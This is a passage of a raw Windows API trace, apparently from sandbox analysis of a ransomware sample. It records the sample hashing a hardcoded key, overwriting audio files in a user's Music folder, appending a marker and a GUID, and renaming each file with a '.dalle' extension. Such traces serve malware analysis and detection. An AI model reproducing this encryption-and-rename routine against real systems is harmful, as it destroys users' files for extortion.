lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.450] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.451] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.451] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.451] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.451] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1459b, lpOverlapped=0x0) returned 1 [0120.452] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.452] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.452] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.452] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.452] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.453] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.453] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.453] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.453] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.453] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.453] GetLastError () returned 0x0 [0120.453] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.453] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.453] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.453] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x145a0) returned 0x3096780 [0120.454] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.454] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.454] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x14596, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x14596, lpOverlapped=0x0) returned 1 [0120.454] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.454] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1459b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.454] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.454] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.454] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.454] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.454] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.454] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.455] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.455] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.455] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.455] CloseHandle (hObject=0x618) returned 1 [0120.456] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.456] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.456] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fBS7mSNK6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fbs7msnk6.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fBS7mSNK6.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fbs7msnk6.m4a.dalle")) returned 1 [0120.456] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.456] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.457] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.457] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd34df90, ftCreationTime.dwHighDateTime=0x1d4ccd8, ftLastAccessTime.dwLowDateTime=0xeef810d0, ftLastAccessTime.dwHighDateTime=0x1d4d13a, ftLastWriteTime.dwLowDateTime=0xeef810d0, ftLastWriteTime.dwHighDateTime=0x1d4d13a, nFileSizeHigh=0x0, nFileSizeLow=0x3fe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FIVz Pn-IkWrJfBV.m4a", cAlternateFileName="FIVZPN~1.M4A")) returned 1 [0120.457] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.457] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.457] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.457] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FIVz Pn-IkWrJfBV.m4a") returned=".m4a" [0120.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FIVz Pn-IkWrJfBV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fivz pn-ikwrjfbv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.459] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=16352) returned 1 [0120.460] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.461] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3fba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.461] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.463] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.463] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x3fe0, lpOverlapped=0x0) returned 1 [0120.463] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.463] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.464] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.464] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.464] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.464] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.464] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.464] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.464] GetLastError () returned 0x0 [0120.465] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.465] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x3fe0) returned 0x3096780 [0120.465] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.465] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x3fdb, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x3fdb, lpOverlapped=0x0) returned 1 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.465] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3fe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.465] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.465] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.466] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.466] CloseHandle (hObject=0x618) returned 1 [0120.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FIVz Pn-IkWrJfBV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fivz pn-ikwrjfbv.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FIVz Pn-IkWrJfBV.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fivz pn-ikwrjfbv.m4a.dalle")) returned 1 [0120.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.467] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.468] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.468] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5faf0b90, ftCreationTime.dwHighDateTime=0x1d4d1da, ftLastAccessTime.dwLowDateTime=0x9a56c570, ftLastAccessTime.dwHighDateTime=0x1d4d14a, ftLastWriteTime.dwLowDateTime=0x9a56c570, ftLastWriteTime.dwHighDateTime=0x1d4d14a, nFileSizeHigh=0x0, nFileSizeLow=0xc492, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FUHOLzUUk7aWGniPbKU.m4a", cAlternateFileName="FUHOLZ~1.M4A")) returned 1 [0120.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.468] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FUHOLzUUk7aWGniPbKU.m4a") returned=".m4a" [0120.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FUHOLzUUk7aWGniPbKU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fuholzuuk7awgnipbku.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.469] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=50322) returned 1 [0120.469] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.470] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc46c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.470] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.472] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.472] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.472] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.472] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc492, lpOverlapped=0x0) returned 1 [0120.473] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.473] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.473] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.473] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.473] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.474] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.474] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.474] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.474] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.474] GetLastError () returned 0x0 [0120.474] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.474] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc490) returned 0x3096780 [0120.474] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.474] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xc48d, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xc48d, lpOverlapped=0x0) returned 1 [0120.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.475] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc492, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.475] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.475] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.475] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.475] CloseHandle (hObject=0x618) returned 1 [0120.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FUHOLzUUk7aWGniPbKU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fuholzuuk7awgnipbku.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FUHOLzUUk7aWGniPbKU.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fuholzuuk7awgnipbku.m4a.dalle")) returned 1 [0120.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.477] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.478] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec85410, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0x99719aa0, ftLastAccessTime.dwHighDateTime=0x1d4d531, ftLastWriteTime.dwLowDateTime=0x99719aa0, ftLastWriteTime.dwHighDateTime=0x1d4d531, nFileSizeHigh=0x0, nFileSizeLow=0x160b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GuF8APTZ9unXBfPE-UL_.mp3", cAlternateFileName="GUF8AP~1.MP3")) returned 1 [0120.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GuF8APTZ9unXBfPE-UL_.mp3") returned=".mp3" [0120.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GuF8APTZ9unXBfPE-UL_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\guf8aptz9unxbfpe-ul_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.479] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=90294) returned 1 [0120.479] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.480] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16090, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.480] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.485] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.485] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x160b6, lpOverlapped=0x0) returned 1 [0120.486] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.486] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.486] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.486] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.487] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.487] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.487] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.487] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.487] GetLastError () returned 0x0 [0120.487] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.487] CryptReleaseContext 